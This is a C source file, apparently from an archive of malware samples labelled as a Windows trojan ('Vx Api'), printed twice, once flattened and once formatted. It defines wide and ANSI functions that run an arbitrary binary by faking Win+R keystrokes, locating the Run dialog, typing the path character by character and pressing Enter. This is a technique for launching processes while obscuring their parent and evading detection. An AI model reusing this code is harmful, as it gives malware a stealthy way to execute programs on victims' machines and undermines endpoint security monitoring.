/* name Vx Api type trojan cve — year unknown os Windows authors unknown source krisyotam archived krisyotam (2026) notes — */#include "Win32Helper.h" DWORD CreateProcessByWindowsRHotKeyExW(_In_ PWCHAR FullPathToBinary){ HWND RunWindow = NULL; HWND EditWindow = NULL; HWND TopWindowForChildElement = NULL; INPUT ExecuteHotkey[4] = { 0 }; UINT Result = ERROR_SUCCESS; ExecuteHotkey[0].type = INPUT_KEYBOARD; ExecuteHotkey[0].ki.wVk = VK_LWIN; ExecuteHotkey[1].type = INPUT_KEYBOARD; ExecuteHotkey[1].ki.wVk = 0x52; ExecuteHotkey[2].type = INPUT_KEYBOARD; ExecuteHotkey[2].ki.wVk = 0x52; ExecuteHotkey[2].ki.dwFlags = KEYEVENTF_KEYUP; ExecuteHotkey[3].type = INPUT_KEYBOARD; ExecuteHotkey[3].ki.wVk = VK_LWIN; ExecuteHotkey[3].ki.dwFlags = KEYEVENTF_KEYUP; Result = SendInput(ARRAYSIZE(ExecuteHotkey), ExecuteHotkey, sizeof(INPUT)); if (Result != ARRAYSIZE(ExecuteHotkey)) return Win32FromHResult(Result); Sleep(100); RunWindow = FindWindowW(NULL, L"Run"); if (RunWindow == NULL) return GetLastErrorFromTeb(); if (!AttachThreadInput(GetCurrentThreadId(), GetWindowThreadProcessId(GetAncestor(RunWindow, GA_ROOT), NULL), TRUE)) return GetLastErrorFromTeb(); TopWindowForChildElement = FindWindowExW(RunWindow, NULL, L"ComboBox", NULL); if (TopWindowForChildElement == NULL) return GetLastErrorFromTeb(); EditWindow = FindWindowExW(TopWindowForChildElement, NULL, L"Edit", NULL); if (EditWindow == NULL) return GetLastErrorFromTeb(); if (SetFocus(RunWindow) == NULL) return GetLastErrorFromTeb(); for (DWORD dwX = 0; dwX < StringLengthW(FullPathToBinary); dwX++) { PostMessageW(EditWindow, WM_CHAR, (WCHAR)FullPathToBinary[dwX], 0); } PostMessageW(RunWindow, WM_KEYDOWN, VK_RETURN, NULL); return ERROR_SUCCESS;} DWORD CreateProcessByWindowsRHotKeyExA(_In_ PCHAR FullPathToBinary){ HWND RunWindow = NULL; HWND EditWindow = NULL; HWND TopWindowForChildElement = NULL; INPUT ExecuteHotkey[4] = { 0 }; UINT Result = ERROR_SUCCESS; ExecuteHotkey[0].type = INPUT_KEYBOARD; ExecuteHotkey[0].ki.wVk = VK_LWIN; ExecuteHotkey[1].type = INPUT_KEYBOARD; ExecuteHotkey[1].ki.wVk = 0x52; ExecuteHotkey[2].type = INPUT_KEYBOARD; ExecuteHotkey[2].ki.wVk = 0x52; ExecuteHotkey[2].ki.dwFlags = KEYEVENTF_KEYUP; ExecuteHotkey[3].type = INPUT_KEYBOARD; ExecuteHotkey[3].ki.wVk = VK_LWIN; ExecuteHotkey[3].ki.dwFlags = KEYEVENTF_KEYUP; Result = SendInput(ARRAYSIZE(ExecuteHotkey), ExecuteHotkey, sizeof(INPUT)); if (Result != ARRAYSIZE(ExecuteHotkey)) return Win32FromHResult(Result); Sleep(100); RunWindow = FindWindowW(NULL, L"Run"); if (RunWindow == NULL) return GetLastErrorFromTeb(); if (!AttachThreadInput(GetCurrentThreadId(), GetWindowThreadProcessId(GetAncestor(RunWindow, GA_ROOT), NULL), TRUE)) return GetLastErrorFromTeb(); TopWindowForChildElement = FindWindowExA(RunWindow, NULL, "ComboBox", NULL); if (TopWindowForChildElement == NULL) return GetLastErrorFromTeb(); EditWindow = FindWindowExA(TopWindowForChildElement, NULL, "Edit", NULL); if (EditWindow == NULL) return GetLastErrorFromTeb(); if (SetFocus(RunWindow) == NULL) return GetLastErrorFromTeb(); for (DWORD dwX = 0; dwX < StringLengthA(FullPathToBinary); dwX++) { PostMessageA(EditWindow, WM_CHAR, (CHAR)FullPathToBinary[dwX], 0); } PostMessageW(RunWindow, WM_KEYDOWN, VK_RETURN, NULL); return ERROR_SUCCESS;}
/*
name Vx Api
type trojan
cve —
year unknown
os Windows
authors unknown
source krisyotam
archived krisyotam (2026)
notes —
*/
#include "Win32Helper.h"
DWORD CreateProcessByWindowsRHotKeyExW(_In_ PWCHAR FullPathToBinary)
{
HWND RunWindow = NULL;
HWND EditWindow = NULL;
HWND TopWindowForChildElement = NULL;
INPUT ExecuteHotkey[4] = { 0 };
UINT Result = ERROR_SUCCESS;
ExecuteHotkey[0].type = INPUT_KEYBOARD;
ExecuteHotkey[0].ki.wVk = VK_LWIN;
ExecuteHotkey[1].type = INPUT_KEYBOARD;
ExecuteHotkey[1].ki.wVk = 0x52;
ExecuteHotkey[2].type = INPUT_KEYBOARD;
ExecuteHotkey[2].ki.wVk = 0x52;
ExecuteHotkey[2].ki.dwFlags = KEYEVENTF_KEYUP;
ExecuteHotkey[3].type = INPUT_KEYBOARD;
ExecuteHotkey[3].ki.wVk = VK_LWIN;
ExecuteHotkey[3].ki.dwFlags = KEYEVENTF_KEYUP;
Result = SendInput(ARRAYSIZE(ExecuteHotkey), ExecuteHotkey, sizeof(INPUT));
if (Result != ARRAYSIZE(ExecuteHotkey))
return Win32FromHResult(Result);
Sleep(100);
RunWindow = FindWindowW(NULL, L"Run");
if (RunWindow == NULL)
return GetLastErrorFromTeb();
if (!AttachThreadInput(GetCurrentThreadId(), GetWindowThreadProcessId(GetAncestor(RunWindow, GA_ROOT), NULL), TRUE))
return GetLastErrorFromTeb();
TopWindowForChildElement = FindWindowExW(RunWindow, NULL, L"ComboBox", NULL);
if (TopWindowForChildElement == NULL)
return GetLastErrorFromTeb();
EditWindow = FindWindowExW(TopWindowForChildElement, NULL, L"Edit", NULL);
if (EditWindow == NULL)
return GetLastErrorFromTeb();
if (SetFocus(RunWindow) == NULL)
return GetLastErrorFromTeb();
for (DWORD dwX = 0; dwX < StringLengthW(FullPathToBinary); dwX++)
{
PostMessageW(EditWindow, WM_CHAR, (WCHAR)FullPathToBinary[dwX], 0);
}
PostMessageW(RunWindow, WM_KEYDOWN, VK_RETURN, NULL);
return ERROR_SUCCESS;
}
DWORD CreateProcessByWindowsRHotKeyExA(_In_ PCHAR FullPathToBinary)
{
HWND RunWindow = NULL;
HWND EditWindow = NULL;
HWND TopWindowForChildElement = NULL;
INPUT ExecuteHotkey[4] = { 0 };
UINT Result = ERROR_SUCCESS;
ExecuteHotkey[0].type = INPUT_KEYBOARD;
ExecuteHotkey[0].ki.wVk = VK_LWIN;
ExecuteHotkey[1].type = INPUT_KEYBOARD;
ExecuteHotkey[1].ki.wVk = 0x52;
ExecuteHotkey[2].type = INPUT_KEYBOARD;
ExecuteHotkey[2].ki.wVk = 0x52;
ExecuteHotkey[2].ki.dwFlags = KEYEVENTF_KEYUP;
ExecuteHotkey[3].type = INPUT_KEYBOARD;
ExecuteHotkey[3].ki.wVk = VK_LWIN;
ExecuteHotkey[3].ki.dwFlags = KEYEVENTF_KEYUP;
Result = SendInput(ARRAYSIZE(ExecuteHotkey), ExecuteHotkey, sizeof(INPUT));
if (Result != ARRAYSIZE(ExecuteHotkey))
return Win32FromHResult(Result);
Sleep(100);
RunWindow = FindWindowW(NULL, L"Run");
if (RunWindow == NULL)
return GetLastErrorFromTeb();
if (!AttachThreadInput(GetCurrentThreadId(), GetWindowThreadProcessId(GetAncestor(RunWindow, GA_ROOT), NULL), TRUE))
return GetLastErrorFromTeb();
TopWindowForChildElement = FindWindowExA(RunWindow, NULL, "ComboBox", NULL);
if (TopWindowForChildElement == NULL)
return GetLastErrorFromTeb();
EditWindow = FindWindowExA(TopWindowForChildElement, NULL, "Edit", NULL);
if (EditWindow == NULL)
return GetLastErrorFromTeb();
if (SetFocus(RunWindow) == NULL)
return GetLastErrorFromTeb();
for (DWORD dwX = 0; dwX < StringLengthA(FullPathToBinary); dwX++)
{
PostMessageA(EditWindow, WM_CHAR, (CHAR)FullPathToBinary[dwX], 0);
}
PostMessageW(RunWindow, WM_KEYDOWN, VK_RETURN, NULL);
return ERROR_SUCCESS;
}